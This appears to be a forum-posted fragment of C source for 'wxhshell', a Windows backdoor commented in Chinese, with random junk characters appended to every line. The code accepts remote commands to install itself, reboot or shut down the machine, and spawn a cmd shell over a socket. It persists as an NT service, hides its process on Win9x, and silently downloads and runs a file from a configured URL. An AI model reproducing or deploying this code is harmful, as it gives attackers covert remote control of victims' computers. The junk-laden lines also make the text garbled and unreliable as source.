  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !@^y)v  
  } qeQC&U y;  
  else { J0?$v6S  
Pn'`Q S?  
    switch(cmd[0]) { :u >W&D  
  k_*XJ<S!Y  
  // 帮助 r~Y>+ln.  
  case '?': {  /,1SE(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mD D4_E2*  
    break; ,_.@l+BM.  
  } %PQldPL8  
  // 安装  &7L~PZ  
  case 'i': { $xRo<,OV+  
    if(Install()) 84[|qB,ML  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d3EjI6R*z  
    else CDQJ bvx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ELN|;^-/|Q  
    break; Y)'!'J  
    } *C4~}4WT\  
  // 卸载 W$z#ssr  
  case 'r': { I$aXnd6)  
    if(Uninstall()) lp:_H-sG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?*CRa$_I|  
    else X!U]`Qh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DgDSVFk ~  
    break; Rz`@N`U  
    } PzIy">plm  
  // 显示 wxhshell 所在路径 /lf\ E=  
  case 'p': { 2yl6~(JC+  
    char svExeFile[MAX_PATH]; ^D9 /  
    strcpy(svExeFile,"\n\r"); -`-ACWeNV  
      strcat(svExeFile,ExeFile); >:.w7LQy/  
        send(wsh,svExeFile,strlen(svExeFile),0); c*.G]nRc  
    break; lP}od  
    } S#P+B*v  
  // 重启 P-[fHCg~  
  case 'b': { rQ=xcn[A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x HY+q ;  
    if(Boot(REBOOT)) GMEw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PASuf.U$"  
    else { nA>*IU[  
    closesocket(wsh); "w;08TX8  
    ExitThread(0); K1;z Mh  
    } NV:>a  
    break; Lqg] Fd  
    } USE   
  // 关机 .JNcY]V#  
  case 'd': { O-i4_YdVt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Pg7>ce  
    if(Boot(SHUTDOWN)) 1W*V2`0>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \^yXc*C  
    else { SrSG{/{  
    closesocket(wsh); )y6QAp  
    ExitThread(0); ex.+'m<g  
    } '-`O. 4u  
    break; +IvNyj|  
    } TKK,Y{{  
  // 获取shell OO-_?8I}  
  case 's': { NK8<= n%"  
    CmdShell(wsh); 4/b(Y4$,[r  
    closesocket(wsh); w(/7Jt$  
    ExitThread(0); 6j_ 678  
    break; 0%/,>IR>r  
  } M/*Bh,M`  
  // 退出 ^Fn%K].X  
  case 'x': { Ys-^7 y_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kl=xu3j  
    CloseIt(wsh); dQ,Q+ON>  
    break; 1^S'sWwe  
    } TFo}\B7  
  // 离开 ]Z=Ij gr$  
  case 'q': { jg?bf/$s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;r3}g"D@  
    closesocket(wsh); B`#*o<eb  
    WSACleanup(); nMkOUW:T!  
    exit(1); N=q#y@L  
    break; emA.{cVr!  
        } 3+ e4e  
  } '|_/lz$h  
  } |hc\jb  
axtb<5&  
  // 提示信息 -'j7SOGk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >[EBpYi  
} "3wv:BL  
  } w\Iqzpikr  
oooS s&t  
  return; ;uK";we  
} JwB"\&'1ZS  
#,TELzUVE  
// shell模块句柄 N\'TR6_,b  
int CmdShell(SOCKET sock) mf$Sa58  
{ 7|Xe&o<n  
STARTUPINFO si; UoHd-  
ZeroMemory(&si,sizeof(si)); ##v`(#fu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xo\S9,s{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v$;@0t:;#  
PROCESS_INFORMATION ProcessInfo; G0Hs,B@5?  
char cmdline[]="cmd"; nZxSMN0]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V:OiW"/  
  return 0; @7%.7LK  
} Ev{MCu1!6  
F{\=PCZ>7  
// 自身启动模式 '$?du~L-  
int StartFromService(void) `w+1C&>^[  
{ FfG%C>E6~  
typedef struct JCD?qeTg  
{ #3+~.,X9  
  DWORD ExitStatus; SB/3jH  
  DWORD PebBaseAddress; 6} #"qqnx  
  DWORD AffinityMask; O:IQ!mzV5  
  DWORD BasePriority; C `6S}f,  
  ULONG UniqueProcessId; zqf[Z3  
  ULONG InheritedFromUniqueProcessId; Zw#<E =\  
}   PROCESS_BASIC_INFORMATION; $ser+Jt=  
[S0mY["  
PROCNTQSIP NtQueryInformationProcess; {[P!$ /  
_C$X04bU3V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1O0X-C,wo$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [,b)YjO~Xd  
VE$t%QT  
  HANDLE             hProcess; WqQU@sA  
  PROCESS_BASIC_INFORMATION pbi; Ha218Hy0W  
}LQC.!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  n}OU Y  
  if(NULL == hInst ) return 0; 1'fb @vO  
~b6GrY"vB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (A4&k{C_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ve fU'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H %z/v|e6  
\0&SI1Yp  
  if (!NtQueryInformationProcess) return 0; \z:<DsQ&  
" #v%36U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PIxjM>  
  if(!hProcess) return 0; `tVy_/3(9  
9.s,:?5e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (O0byu}  
J@Yj\9U  
  CloseHandle(hProcess); 2y%R:Mu  
c1#+Vse  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 328L)BmW  
if(hProcess==NULL) return 0; Mk5RHDh  
sLhDO'kM  
HMODULE hMod; D/:3R ZF  
char procName[255]; q.T:0|  
unsigned long cbNeeded; K<RqBecB  
u"Y]P*[k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kOI !~Qk  
1-o V-K  
  CloseHandle(hProcess); |}Ph"g2D,  
E1(1E?}!  
if(strstr(procName,"services")) return 1; // 以服务启动 >lLo4M 3  
!\x?R6K  
  return 0; // 注册表启动 WcEt%mGQ,  
} d.r Y-k  
vpLMhf`  
// 主模块 ir&.Z5=  
int StartWxhshell(LPSTR lpCmdLine) E9$H nj+m  
{ T*+A.G@L"  
  SOCKET wsl; k|B2@{  
BOOL val=TRUE; 9g]M4*?C9P  
  int port=0; 28UVDG1?  
  struct sockaddr_in door; [W;[v<E;  
BS2?!;,8  
  if(wscfg.ws_autoins) Install(); PGX+p+wB  
(/?R9T[V&^  
port=atoi(lpCmdLine); RxG^  
W[|[;{  
if(port<=0) port=wscfg.ws_port; sfI N)jh  
%?=)!;[  
  WSADATA data; m UgRm]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~gddcTp  
jBRPR R0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m =k%,J_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); % wL,v.}  
  door.sin_family = AF_INET; :-Wv>V\t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (.Xr#;\(  
  door.sin_port = htons(port); [hnK/4!  
it,w^VU_]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [h HG .  
closesocket(wsl); x+:zq<0|  
return 1; aU(tu2  
} 3_zSp.E\l  
W4vBf^eC  
  if(listen(wsl,2) == INVALID_SOCKET) { p(?3 V  
closesocket(wsl); 4bI*jEc\[  
return 1; 9L"?wv  
} q%S8\bt  
  Wxhshell(wsl); T2|:nC)@  
  WSACleanup(); x+^Vg3 q  
V(..8}LlD  
return 0; 5f_7&NxT  
8 u:2,l  
} `qu] Pxk  
%nQmFIt  
// 以NT服务方式启动 , ` o+ ?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &+- e  
{ 4z0L ke  
DWORD   status = 0; #r}uin*jD  
  DWORD   specificError = 0xfffffff; J]\^QMX  
|yv]Y/ =  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5"gL.Ez  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j^ I!6j=ZX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ke6n/ h5`  
  serviceStatus.dwWin32ExitCode     = 0; cL7C 2wB`  
  serviceStatus.dwServiceSpecificExitCode = 0; ImHU:iR[J-  
  serviceStatus.dwCheckPoint       = 0; oHsP?%U  
  serviceStatus.dwWaitHint       = 0; }]GbUC!Zb  
:8]6#c6`74  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D|TR!  
  if (hServiceStatusHandle==0) return; WZK :.y  
j@t{@Ke  
status = GetLastError(); 0WXVc  
  if (status!=NO_ERROR) ^ZVO ql&  
{ <<<NXsH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5!h<b3u>]  
    serviceStatus.dwCheckPoint       = 0; [gn[nP9  
    serviceStatus.dwWaitHint       = 0; tqhh<u;  
    serviceStatus.dwWin32ExitCode     = status; 3'^S3W%  
    serviceStatus.dwServiceSpecificExitCode = specificError; PUKVn+h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); . s-5N\  
    return; t= *Jg/$  
  } 8!4[#y<  
=mLeMk/7 w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JZw^ W{  
  serviceStatus.dwCheckPoint       = 0; KBj@V6Q  
  serviceStatus.dwWaitHint       = 0; |*1xrM:v~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8<c' x]~  
} Om6Mmoqh  
X+*<B(E  
// 处理NT服务事件,比如:启动、停止 #G~wE*VR$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3P`WPph  
{ `#p< rfe  
switch(fdwControl) kyu2)L2u  
{ xD^wTtT  
case SERVICE_CONTROL_STOP: v^\JWPR/  
  serviceStatus.dwWin32ExitCode = 0; PJ;.31u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O!,Ca1N  
  serviceStatus.dwCheckPoint   = 0; 1 yJ75/  
  serviceStatus.dwWaitHint     = 0; F {/>u(@3  
  { p9Z ].5Pd"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R` 44'y|  
  } bw0 20@O*  
  return; y:C)%cv}*  
case SERVICE_CONTROL_PAUSE: ~f .y:Sbb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6N?#b66  
  break; [\a:4vDAbi  
case SERVICE_CONTROL_CONTINUE: "R8.P/ 3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?0uOR *y'  
  break; re/xs~  
case SERVICE_CONTROL_INTERROGATE: dB@FI  
  break; L7<+LA)s0  
}; [.ey_}X8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W oWBs)E  
} dD o6fP2  
<8*A\&  
// 标准应用程序主函数 }a' cm!"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]I8]mUiUH  
{ t@6w$5:}  
ygMd$0:MN  
// 获取操作系统版本 Q7L)f71i  
OsIsNt=GetOsVer(); x\6] ;SXX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %n4@[fG%K  
El{r$-}  
  // 从命令行安装 O/(3 87=U  
  if(strpbrk(lpCmdLine,"iI")) Install(); #jOOsfH|k  
^u3*hl}YKy  
  // 下载执行文件 lx`q *&E  
if(wscfg.ws_downexe) { :MK:TJV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z1kBNOr  
  WinExec(wscfg.ws_filenam,SW_HIDE); ::v;)VdX+*  
} RXUA!=e  
Ndo}Tk!  
if(!OsIsNt) {  ccRlql(  
// 如果时win9x,隐藏进程并且设置为注册表启动 ' J2ewW5  
HideProc(); DQ%`v =  
StartWxhshell(lpCmdLine); *3 !(*F@M,  
} XMomFW_@  
else dJloH)uJZ>  
  if(StartFromService()) [TP  
  // 以服务方式启动 =n)JJS94  
  StartServiceCtrlDispatcher(DispatchTable); C?8PT/  
else AbL5 !'  
  // 普通方式启动 %B[YtWqm`/  
  StartWxhshell(lpCmdLine); "v@);\-V  
BHEs+ e0  
return 0; )uANmThOz  
}
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只看该作者 1 发表于: 2006-10-10
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